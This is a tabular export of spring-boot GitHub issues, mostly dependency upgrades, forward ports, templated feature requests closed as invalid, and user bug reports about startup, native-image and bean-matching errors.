spring-projects/spring-boot,4621540973,Upgrade to SAAJ Impl 3.0.6,"Upgrade to SAAJ Impl 3.0.6.

Supersedes #50334","type: dependency-upgrade,status: team-only",2026-06-09T11:31:21Z,2026-06-09T11:32:05Z,0
spring-projects/spring-boot,4621540292,Upgrade to jOOQ 3.19.35,"Upgrade to [jOOQ 3.19.35](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.35).

Supersedes #50553","type: dependency-upgrade,status: team-only",2026-06-09T11:31:14Z,2026-06-09T11:32:02Z,0
spring-projects/spring-boot,4621539872,Upgrade to Jetty Reactive HTTPClient 4.1.5,Upgrade to Jetty Reactive HTTPClient 4.1.5.,"type: dependency-upgrade,status: team-only",2026-06-09T11:31:09Z,2026-06-09T11:32:02Z,0
spring-projects/spring-boot,4621539285,Upgrade to Jaxen 2.0.6,"Upgrade to [Jaxen 2.0.6](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.6).

Supersedes #50687","type: dependency-upgrade,status: team-only",2026-06-09T11:31:03Z,2026-06-09T11:32:01Z,0
spring-projects/spring-boot,4621538690,Upgrade to Hibernate 7.2.18.Final,"Upgrade to [Hibernate 7.2.18.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.18).

Supersedes #50683","type: task,status: superseded",2026-06-09T11:30:57Z,2026-06-09T11:32:00Z,0
spring-projects/spring-boot,4621501752,Upgrade to SQLite JDBC 3.53.2.0,"Upgrade to [SQLite JDBC 3.53.2.0](https://github.com/xerial/sqlite-jdbc/releases/tag/3.53.2.0).

Supersedes #50353","type: dependency-upgrade,status: team-only",2026-06-09T11:24:38Z,2026-06-09T11:25:09Z,0
spring-projects/spring-boot,4621501011,Upgrade to SAAJ Impl 3.0.6,"Upgrade to SAAJ Impl 3.0.6.

Supersedes #50352","type: dependency-upgrade,status: team-only",2026-06-09T11:24:31Z,2026-06-09T11:25:06Z,0
spring-projects/spring-boot,4621500373,Upgrade to Pulsar 4.2.2,"Upgrade to [Pulsar 4.2.2](https://pulsar.apache.org/release-notes/versioned/pulsar-4.2.2).

Supersedes #50350","type: dependency-upgrade,status: team-only",2026-06-09T11:24:24Z,2026-06-09T11:25:04Z,0
spring-projects/spring-boot,4621499700,Upgrade to jOOQ 3.21.5,"Upgrade to [jOOQ 3.21.5](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.5).

Supersedes #50580","type: dependency-upgrade,status: team-only",2026-06-09T11:24:18Z,2026-06-09T11:25:02Z,0
spring-projects/spring-boot,4621499239,Upgrade to Jetty Reactive HTTPClient 4.1.5,Upgrade to Jetty Reactive HTTPClient 4.1.5.,"type: dependency-upgrade,status: team-only",2026-06-09T11:24:13Z,2026-06-09T11:25:02Z,0
spring-projects/spring-boot,4621498683,Upgrade to Jaxen 2.0.6,"Upgrade to [Jaxen 2.0.6](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.6).

Supersedes #50660","type: dependency-upgrade,status: team-only",2026-06-09T11:24:07Z,2026-06-09T11:25:01Z,0
spring-projects/spring-boot,4619229709,Only sync JDK download when Docker tests that need it will run,"The build configuration of spring-boot-launch-script-tests is a little bit inefficient at the moment as, even when running with `-x dockerTest`, we'll still sync the JDK download that's only used by those tests.",type: task,2026-06-09T05:49:07Z,2026-06-09T05:59:33Z,0
spring-projects/spring-boot,4618862692,Implement API rate limiting with distributed support and configurable strategies,"## Problem Statement
Spring Boot APIs lack built-in rate limiting. External libraries required. Distributed rate limiting is complex. No standard configuration. Teams implement custom solutions repeatedly.

**Business Impact:** Prevents API abuse, ensures fair resource allocation, improves security.

## Root Cause Analysis
Rate limiting is external. No framework support. Distributed strategies are complex.

## Solution Overview
- Implement rate limiter filters
- Support distributed backends
- Add configurable strategies
- Create monitoring

**Implementation Steps:**
1. Design rate limiter API
2. Implement strategy engines
3. Add distributed support
4. Create examples

## Type of Change
Enhancement, Security, Scalability

## Testing Done
- Test 30+ rate limiting scenarios
- Verify accuracy under load
- Performance testing
- Distributed scenario testing

## Related Issues & Standards
Rate limiting standards, security best practices

## Suggested Labels
enhancement, security, rate-limiting, api-protection, GSSoC26",status: duplicate,2026-06-09T04:35:12Z,2026-06-09T05:31:25Z,2
spring-projects/spring-boot,4618859669,Add automatic database migration verification with rollback support and validation,"## Problem Statement
Spring Boot migrations lack built-in verification. Failed migrations cause data loss. No rollback support. Validation is manual. Teams struggle with migration safety in production.

**Business Impact:** Prevents data loss, enables safe schema evolution, improves deployment confidence.

## Root Cause Analysis
Migrations are basic. Verification is manual. Rollback strategy is unclear.

## Solution Overview
- Add migration verification system
- Implement rollback mechanism
- Create validation checks
- Build monitoring

**Implementation Steps:**
1. Design verification framework
2. Implement rollback system
3. Add validation checks
4. Create examples

## Type of Change
Enhancement, Data integrity, Safety

## Testing Done
- Test 40+ migration scenarios
- Verify rollback accuracy
- Performance testing
- Data integrity validation

## Related Issues & Standards
Database migration best practices

## Suggested Labels
enhancement, migrations, data-integrity, reliability, GSSoC26",status: invalid,2026-06-09T04:34:39Z,2026-06-09T05:28:34Z,2
spring-projects/spring-boot,4618858458,Implement multi-tenancy support with automatic tenant context propagation,"## Problem Statement
Spring Boot lacks multi-tenancy patterns. SaaS applications manually implement tenant isolation. No standard way to propagate tenant context. Data isolation is error-prone.

**Business Impact:** Enables SaaS applications, improves data isolation, supports enterprise deployments.

## Root Cause Analysis
Multi-tenancy is application concern. No framework support. Context propagation is manual.

## Solution Overview
- Create tenant context API
- Implement automatic propagation
- Add data source routing
- Support multiple isolation levels

**Implementation Steps:**
1. Design tenant context system
2. Implement propagation mechanism
3. Add data source routing
4. Create examples

## Type of Change
Enhancement, Enterprise features, Scalability

## Testing Done
- Test 30+ tenancy scenarios
- Verify data isolation
- Performance testing
- Concurrent tenant testing

## Related Issues & Standards
Multi-tenancy patterns, SaaS best practices

## Suggested Labels
enhancement, multi-tenancy, saas, scalability, GSSoC26",status: invalid,2026-06-09T04:34:26Z,2026-06-09T05:30:32Z,2
spring-projects/spring-boot,4618856467,Add reactive streams support with Project Reactor integration for backpressure handling,"## Problem Statement
Spring Boot's reactive support lacks backpressure handling. Applications struggle with reactive stream semantics. No built-in guidance for Project Reactor usage. Teams misuse reactive patterns causing performance issues.

**Business Impact:** Enables handling 100x concurrent connections, improves memory efficiency, supports true non-blocking I/O.

## Root Cause Analysis
Reactive support is available but complex. Backpressure patterns are not enforced. Guidance is limited.

## Solution Overview
- Auto-configure Project Reactor
- Implement backpressure handling
- Build reactive best practices guides
- Create monitoring for reactive streams

**Implementation Steps:**
1. Create reactive autoconfiguration
2. Implement backpressure patterns
3. Add monitoring support
4. Build examples

## Type of Change
Enhancement, Reactive programming, Performance

## Testing Done
- Test 40+ reactive scenarios
- Verify backpressure handling
- Performance testing
- Load testing with high concurrency

## Related Issues & Standards
Reactive Streams specification, Project Reactor patterns

## Suggested Labels
enhancement, reactive, project-reactor, performance, GSSoC26","status: invalid,for: external-project",2026-06-09T04:34:07Z,2026-06-09T05:26:24Z,2
spring-projects/spring-boot,4618849810,Implement observability autoconfiguration with OpenTelemetry integration and metrics collection,"## Problem Statement
Spring Boot observability requires manual OpenTelemetry setup. No built-in metrics, traces, and logs correlation. Distributed tracing requires external configuration. Teams duplicate observability setup across applications.

**Business Impact:** Enables production monitoring, improves incident response time, supports observability at scale, reduces debugging time.

## Root Cause Analysis
Observability is fragmented. No integrated approach. Manual configuration required.

## Solution Overview
- Autoconfigure OpenTelemetry
- Auto-enable metrics collection
- Build traces and logs correlation
- Create health check enhancements
- Add observability endpoints

**Implementation Steps:**
1. Create OpenTelemetry autoconfiguration
2. Implement metrics collection
3. Build correlation system
4. Add health checks
5. Create documentation

## Type of Change
Enhancement, Observability, Production-ready

## Testing Done
- Test 30+ observability scenarios
- Verify metrics accuracy
- Performance testing (< 5% overhead)
- Distributed tracing accuracy
- Integration testing

## Related Issues & Standards
OpenTelemetry specification, observability best practices

## Suggested Labels
enhancement, observability, metrics, spring-boot, GSSoC26",status: invalid,2026-06-09T04:33:01Z,2026-06-09T05:29:25Z,2
spring-projects/spring-boot,4589673697,spring-data-mongodb:4.4.10 fails to start with NoClassDefFoundError  for TypeInformation when used with Spring Boot 4.0.5,"## Spring Boot Version
4.0.5

## Problem
When using spring-boot-starter-data-mongodb with Spring Boot 4.0.5, 
the application fails to start with:

java.lang.NoClassDefFoundError: 
  org/springframework/data/util/TypeInformation
  at org.springframework.data.mongodb.core.MongoTemplate
     .getDefaultMongoConverter(MongoTemplate.java:2987)

## Root Cause
In spring-boot-data-commons:4.0.5, TypeInformation has moved from:
  org.springframework.data.util.TypeInformation
to:
  org.springframework.data.core.TypeInformation

spring-data-mongodb:4.4.10, managed by the Spring Boot 4.0.5 BOM, 
still references the old package location causing a 
NoClassDefFoundError at runtime.

## Steps to Reproduce
1. Create a Spring Boot 4.0.5 application
2. Add spring-boot-starter-data-mongodb (no explicit version)
3. Add spring-boot-starter-data-jpa (no explicit version)
4. Start the application
5. Application fails with NoClassDefFoundError on TypeInformation

## Expected Behaviour
Application starts successfully and MongoTemplate is created.

## Actual Behaviour
Application fails to start with:

java.lang.NoClassDefFoundError: 
  org/springframework/data/util/TypeInformation
  at org.springframework.data.mongodb.core.MongoTemplate
     .getDefaultMongoConverter(MongoTemplate.java:2987)

## Additional Context
A secondary failure was also found where DataMongoProperties 
auto-configuration references 
MongoCustomConversions$BigDecimalRepresentation which no longer 
exists in spring-data-mongodb:4... [TRUNCATED]",status: invalid,2026-06-04T14:47:31Z,2026-06-04T16:16:20Z,1
spring-projects/spring-boot,4581782337,[Packaging OCI Images] How to install extra Linux packages?,"I want to build a Docker image based on [Cloud Native Buildpacks](https://buildpacks.io) with the Spring Boot Maven Plugin, but I need to install few extra Linux packages (APT packages in my case). We can think of APT packages of type fonts. But seems impossible to customize Spring Boot Maven Plugin to achieve that.

> Can you add an example in the doc to explain how to install  with [Cloud Native Buildpacks](https://buildpacks.io) some Linux packages required to run a Spring Boot application?

I know the existence of https://github.com/paketo-buildpacks/apt but cannot figure out how to use it with Spring Boot Maven Plugin.","status: invalid,for: stackoverflow",2026-06-03T16:33:54Z,2026-06-03T17:19:02Z,1
spring-projects/spring-boot,4581041954,Upgrade to Byte Buddy 1.18.10,"Upgrade to [Byte Buddy 1.18.10](https://github.com/raphw/byte-buddy/releases/tag/byte-buddy-1.18.10).

Supersedes #50653","type: dependency-upgrade,status: team-only",2026-06-03T15:00:03Z,2026-06-03T15:04:28Z,0
spring-projects/spring-boot,4580860853,Upgrade to Netty 4.2.15.Final,"Upgrade to [Netty 4.2.15.Final](https://github.com/netty/netty/releases/tag/netty-4.2.15.Final).

Supersedes #50557","type: dependency-upgrade,status: team-only",2026-06-03T14:38:03Z,2026-06-04T08:03:30Z,0
spring-projects/spring-boot,4580860183,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:59Z,2026-06-03T14:59:01Z,0
spring-projects/spring-boot,4580859639,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:54Z,2026-06-03T14:59:00Z,0
spring-projects/spring-boot,4580858785,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:50Z,2026-06-03T14:58:58Z,0
spring-projects/spring-boot,4580858262,Upgrade to Jetty 12.1.10,Upgrade to [Jetty 12.1.10](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10).,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:46Z,2026-06-03T14:58:57Z,0
spring-projects/spring-boot,4580857320,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50552","type: task,status: superseded",2026-06-03T14:37:39Z,2026-06-03T14:58:56Z,0
spring-projects/spring-boot,4580856606,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:34Z,2026-06-03T14:58:56Z,0
spring-projects/spring-boot,4580855511,Upgrade to Jackson Bom 3.1.4,"Upgrade to [Jackson Bom 3.1.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.4).

Supersedes #50327","type: dependency-upgrade,status: team-only",2026-06-03T14:37:27Z,2026-06-03T14:58:55Z,0
spring-projects/spring-boot,4580854773,Upgrade to Jackson 2 Bom 2.21.4,"Upgrade to [Jackson 2 Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50326","type: dependency-upgrade,status: team-only",2026-06-03T14:37:21Z,2026-06-03T14:58:54Z,0
spring-projects/spring-boot,4580853761,Upgrade to Hibernate 7.2.17.Final,"Upgrade to [Hibernate 7.2.17.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.17).

Supersedes #50551","type: task,status: superseded",2026-06-03T14:37:14Z,2026-06-03T14:58:53Z,0
spring-projects/spring-boot,4580852820,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50323","type: dependency-upgrade,status: team-only",2026-06-03T14:37:08Z,2026-06-03T14:58:52Z,0
spring-projects/spring-boot,4580852207,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-03T14:37:03Z,2026-06-03T14:58:51Z,0
spring-projects/spring-boot,4580750883,Upgrade to Netty 4.1.135.Final,"Upgrade to [Netty 4.1.135.Final](https://github.com/netty/netty/releases/tag/netty-4.1.135.Final).

Supersedes #50532","type: dependency-upgrade,status: team-only",2026-06-03T14:25:30Z,2026-06-03T14:32:44Z,0
spring-projects/spring-boot,4580750237,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03T14:25:25Z,2026-06-03T14:32:43Z,0
spring-projects/spring-boot,4580749561,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03T14:25:21Z,2026-06-03T14:32:41Z,0
spring-projects/spring-boot,4580748972,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-03T14:25:17Z,2026-06-03T14:32:40Z,0
spring-projects/spring-boot,4580748209,Upgrade to Jetty 12.0.36,"Upgrade to [Jetty 12.0.36](https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.36).

Supersedes #50314","type: dependency-upgrade,status: team-only",2026-06-03T14:25:10Z,2026-06-03T14:32:39Z,0
spring-projects/spring-boot,4580747175,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50530","type: task,status: superseded",2026-06-03T14:25:04Z,2026-06-03T14:32:38Z,0
spring-projects/spring-boot,4580746698,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-03T14:25:00Z,2026-06-03T14:32:37Z,0
spring-projects/spring-boot,4580745776,Upgrade to Jackson Bom 2.21.4,"Upgrade to [Jackson Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50312","type: dependency-upgrade,status: team-only",2026-06-03T14:24:53Z,2026-06-03T14:32:36Z,0
spring-projects/spring-boot,4580744878,Upgrade to Hibernate 6.6.52.Final,"Upgrade to [Hibernate 6.6.52.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.52).

Supersedes #50529","type: task,status: superseded",2026-06-03T14:24:47Z,2026-06-03T14:32:35Z,0
spring-projects/spring-boot,4580744198,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50309","type: dependency-upgrade,status: team-only",2026-06-03T14:24:41Z,2026-06-03T14:32:34Z,0
spring-projects/spring-boot,4580743577,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-03T14:24:37Z,2026-06-03T14:32:33Z,0
spring-projects/spring-boot,4573315658,InetAddressFilter.externalAddresses does not exclude special purpose addresses from RFC 6890,"The `InetAddressFilter` introduced in Spring Boot 4.1 includes an `externalAddresses()` method which should filter special purpose addresses as defined in RFC 6890, but currently does not.

Credit to @ghosttT0 for reporting this issue",type: bug,2026-06-02T16:45:55Z,2026-06-02T16:54:29Z,0
spring-projects/spring-boot,4573268547,Upgrade to Oracle Database 23.26.2.0.0,Upgrade to Oracle Database 23.26.2.0.0.,"type: dependency-upgrade,status: team-only",2026-06-02T16:39:05Z,2026-06-02T21:50:02Z,1
spring-projects/spring-boot,4573267823,Upgrade to Netty 4.2.15.Final,"Upgrade to [Netty 4.2.15.Final](https://github.com/netty/netty/releases/tag/netty-4.2.15.Final).

Supersedes #50587","type: dependency-upgrade,status: team-only",2026-06-02T16:38:58Z,2026-06-04T08:03:30Z,0
spring-projects/spring-boot,4573267418,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:54Z,2026-06-02T16:42:18Z,0
spring-projects/spring-boot,4573267031,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:50Z,2026-06-02T16:42:17Z,0
spring-projects/spring-boot,4573266639,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:45Z,2026-06-02T16:42:17Z,0
spring-projects/spring-boot,4573266210,Upgrade to Kafka 4.2.1,Upgrade to [Kafka 4.2.1](https://downloads.apache.org/kafka/4.2.1/RELEASE_NOTES.html).,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:41Z,2026-06-02T16:42:16Z,0
spring-projects/spring-boot,4573265513,Upgrade to Jetty 12.1.10,Upgrade to [Jetty 12.1.10](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10).,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:36Z,2026-06-02T16:42:15Z,0
spring-projects/spring-boot,4573264902,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50579","type: task,status: superseded",2026-06-02T16:38:30Z,2026-06-02T16:42:15Z,0
spring-projects/spring-boot,4573264416,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-02T16:38:26Z,2026-06-02T16:42:14Z,0
spring-projects/spring-boot,4573263652,Upgrade to Jackson Bom 3.1.4,"Upgrade to [Jackson Bom 3.1.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.4).

Supersedes #50344","type: dependency-upgrade,status: team-only",2026-06-02T16:38:20Z,2026-06-02T16:42:13Z,0
spring-projects/spring-boot,4573263022,Upgrade to Jackson 2 Bom 2.21.4,"Upgrade to [Jackson 2 Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50343","type: dependency-upgrade,status: team-only",2026-06-02T16:38:13Z,2026-06-02T16:42:13Z,0
spring-projects/spring-boot,4573262221,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50339","type: dependency-upgrade,status: team-only",2026-06-02T16:38:07Z,2026-06-02T16:42:12Z,0
spring-projects/spring-boot,4573261217,Upgrade to Elasticsearch Client 9.4.2,"Upgrade to [Elasticsearch Client 9.4.2](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-4-2).

Supersedes #50577","type: dependency-upgrade,status: team-only",2026-06-02T16:38:01Z,2026-06-02T16:42:11Z,0
spring-projects/spring-boot,4573260788,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-02T16:37:56Z,2026-06-02T16:42:11Z,0
spring-projects/spring-boot,4573260231,Upgrade to Byte Buddy 1.18.9,Upgrade to [Byte Buddy 1.18.9](https://github.com/raphw/byte-buddy/releases/tag/byte-buddy-1.18.9).,"type: task,status: superseded",2026-06-02T16:37:52Z,2026-06-02T16:42:10Z,0
spring-projects/spring-boot,4573259609,Upgrade to ActiveMQ 6.2.6,"Upgrade to [ActiveMQ 6.2.6](https://activemq.apache.org/components/classic/download/classic-06-02-06).

Supersedes #50337","type: dependency-upgrade,status: team-only",2026-06-02T16:37:46Z,2026-06-02T16:42:09Z,0
spring-projects/spring-boot,4564677500,[Proposal] Ignore Auto-configuration classes during component scan,"The [springboot documentation states](https://docs.spring.io/spring-boot/reference/features/developing-auto-configuration.html#features.developing-auto-configuration.locating-auto-configuration-candidates):

> Auto-configurations must be loaded only by being named in the imports file. Make sure that they are defined in a specific package space and that they are never the target of component scanning.

This poses a problem in our company. We have some libraries that have the same ""root package"", say `com.maycompany` (but also have further packages name segments specific to the library). Some of these libraries have auto configuration beans that are referenced in the file `META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports` of the library. Other libraries just provide some beans that are automatically available in an application if it includes that library.

In the springboot applications we develop, we often specify `com.maycompany` as the value for `scanBasePackages`. This way we automatically get all the beans from all our libraries.

But with this specification, we also break the springboot requirement quoted above.

As of now, we see two workarounds, both not very good:

1. Each application must carefully list all the packages it wants to load beans from, maybe with excludes for the autoconfiguration beans. This is very cumbersome.
2. Each library should place the autoconfiguration beans under some other package, e.g. a subpackage of `com.myco... [TRUNCATED]",status: declined,2026-06-01T16:24:30Z,2026-06-01T17:35:20Z,11
spring-projects/spring-boot,4561841398,Spring DESPERATELY needs a community posts page that isn't stack overflow.,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",,2026-06-01T09:16:14Z,2026-06-01T10:17:31Z,3
spring-projects/spring-boot,4558534611,Fix reference to Gradle documentation for module replacement,Forward port of issue #50646 to 4.1.x.,"type: documentation,status: forward-port",2026-05-31T18:21:28Z,2026-05-31T18:21:40Z,0
spring-projects/spring-boot,4558534283,Fix reference to Gradle documentation for module replacement,Forward port of issue #50641 to 4.0.x.,"type: documentation,status: forward-port",2026-05-31T18:21:20Z,2026-05-31T18:21:39Z,0
spring-projects/spring-boot,4557876616,NullPointerException in reactor-netty SniProvider and unmapped SSL bundle with RSocket,Forward port of issue #50640 to 4.1.x.,"type: bug,status: forward-port",2026-05-31T14:34:27Z,2026-05-31T16:05:47Z,0
spring-projects/spring-boot,4557858248,Fatal error: com.oracle.graal.pointsto.constraints.UnsupportedFeatureException: An object of type 'java.io.ProxyingConsole',"Hello! Suddenly, after upgrade project to Spring Boot 4.0.6, following error started appears when generating native artifact by running command:
 
`mvn spring-boot:build-image -Pnative -DskipTests`


Stack:
````
[INFO]     [builder]     Build resources:
[INFO]     [builder]      - 15.72GB of memory (75.6% of system memory, in container)
[INFO]     [builder]      - 16 thread(s) (100.0% of 16 available processor(s), determined at start)
[INFO]     [builder]     SLF4J(W): No SLF4J providers were found.
[INFO]     [builder]     SLF4J(W): Defaulting to no-operation (NOP) logger implementation
[INFO]     [builder]     SLF4J(W): See https://www.slf4j.org/codes.html#noProviders for further details.
[INFO]     [builder]     [2/8] Performing analysis...  []                               (104.9s @ 5.99GB)
[INFO]     [builder]        44,163 types,  62,797 fields, and 203,833 methods found reachable
[INFO]     [builder]        15,751 types,  15,672 fields, and  45,215 methods registered for reflection
[INFO]     [builder]             0 downcalls and 0 upcalls registered for foreign access
[INFO]     [builder]
[INFO]     [builder]     Fatal error: com.oracle.graal.pointsto.constraints.UnsupportedFeatureException: An object of type 'java.io.ProxyingConsole' was found in the image heap. This type, however, is marked for initialization at image run time for the following reason: classes are initialized at run time by default.
[INFO]     [builder]     This is not allowed for correctness reason... [TRUNCATED]",for: stackoverflow,2026-05-31T14:27:17Z,2026-05-31T16:07:33Z,3
spring-projects/spring-boot,4557828744,Close FileOutputStream delegate in InspectingOutputStream,Forward port of issue #50642 to 4.1.x.,"type: task,status: forward-port",2026-05-31T14:15:22Z,2026-05-31T14:15:33Z,0
spring-projects/spring-boot,4557828289,Close FileOutputStream delegate in InspectingOutputStream,Forward port of issue #50639 to 4.0.x.,"type: task,status: forward-port",2026-05-31T14:15:11Z,2026-05-31T14:15:32Z,0
spring-projects/spring-boot,4554734971,Remove stale gRPC entry from community starters,Forward port of issue #50506 to 4.1.x.,"type: task,status: forward-port",2026-05-30T14:48:53Z,2026-05-30T14:49:02Z,0
spring-projects/spring-boot,4554717453,Close URLClassLoader in ArchitectureCheck,Forward port of issue #50636 to 4.1.x.,"type: task,status: forward-port",2026-05-30T14:41:31Z,2026-05-30T14:41:41Z,0
spring-projects/spring-boot,4554717227,Close URLClassLoader in ArchitectureCheck,Forward port of issue #50626 to 4.0.x.,"type: task,status: forward-port",2026-05-30T14:41:25Z,2026-05-30T14:41:41Z,0
spring-projects/spring-boot,4554678376,SSL should not be enabled when a SSL bundle is overridden to an empty string,Forward port of issue #50634 to 4.1.x.,"type: bug,status: forward-port",2026-05-30T14:27:07Z,2026-05-30T14:27:19Z,0
spring-projects/spring-boot,4554677916,SSL should not be enabled when a SSL bundle is overridden to an empty string,Forward port of issue #50624 to 4.0.x.,"type: bug,status: forward-port",2026-05-30T14:26:56Z,2026-05-30T14:27:18Z,0
spring-projects/spring-boot,4554586924,Test auto-configuration no longer integrates Spring Security with HtmlUnitDriver,Forward port of issue #50602 to 4.1.x.,"type: regression,status: forward-port",2026-05-30T13:48:38Z,2026-05-30T13:51:20Z,0
spring-projects/spring-boot,4554422117,Configuration property metadata includes incorrect class references,Forward port of issue #50375 to 4.1.x.,"type: bug,for: merge-with-amendments,status: forward-port",2026-05-30T12:48:08Z,2026-05-30T12:48:25Z,0
spring-projects/spring-boot,4554339040,Qualified beans are not getting matched,"Hello.

I don't if this may be a bug in the context evaluation or I'm doing something wrong from my side, but I've a bean in Spring Boot 4.0.6 defined as 
```java
@Bean
@PingResource
@ConditionalOnMissingBean(value = HealthErrorHandler.class, annotation = PingResource.class)
public HealthErrorHandler healthErrorHandler() {
    return HealthErrorHandler.DEFAULT;
}
```
which, somehow, doesn't get created and, therefore, the beans relying on it can't be created in cascade.

Full code:
```java
@Qualifier
@Inherited
@Documented
@Retention(RUNTIME)
@Target({FIELD, METHOD, PARAMETER, TYPE, ANNOTATION_TYPE})
public @interface PingResource {}

public interface HealthErrorHandler {
    HealthErrorHandler DEFAULT = (ex, builder) -> builder.down(ex).build();

    @NotNull
    Health handle(@NotNull Throwable ex, @NotNull Builder builder);
}

@AutoConfiguration
@ConditionalOnAvailableEndpoint(HealthEndpoint.class)
@ConditionalOnEnabledHealthIndicator(HEALTH_INDICATOR_NAME)
@ConditionalOnProperty(prefix = PREFIX, name = URL_PROPERTY_NAME)
public class MyAutoConfiguration {
    private static final String BEAN_NAME = ""myBean"";

    public static final String HEALTH_INDICATOR_NAME = ""foo"";
    static final String URL_PROPERTY_NAME = ""url"";
    static final String PREFIX = ""management.health."" + HEALTH_INDICATOR_NAME;

    @Bean
    @PingResource
    @ConditionalOnMissingBean(value = HealthErrorHandler.class, annotation = PingResource.class)
    public HealthErrorHandler healthErrorHandler() ... [TRUNCATED]","status: invalid,for: stackoverflow",2026-05-30T12:11:11Z,2026-06-01T18:31:37Z,8
spring-projects/spring-boot,4554136949,Document SSL reloading with Let's Encrypt,Forward port of issue #50629 to 4.1.x.,"type: documentation,status: forward-port",2026-05-30T10:41:51Z,2026-05-30T10:42:04Z,0
spring-projects/spring-boot,4554075989,Document SSL reloading with Let's Encrypt,Forward port of issue #50222 to 4.0.x.,"type: documentation,status: forward-port",2026-05-30T10:11:02Z,2026-05-30T10:42:03Z,0
spring-projects/spring-boot,4549978464,Support MVC controller role on @Bean definitions,"**Problem**

Spring MVC registers @RequestMapping handlers for beans whose type is detected as a controller component, typically via @Controller or @RestController.

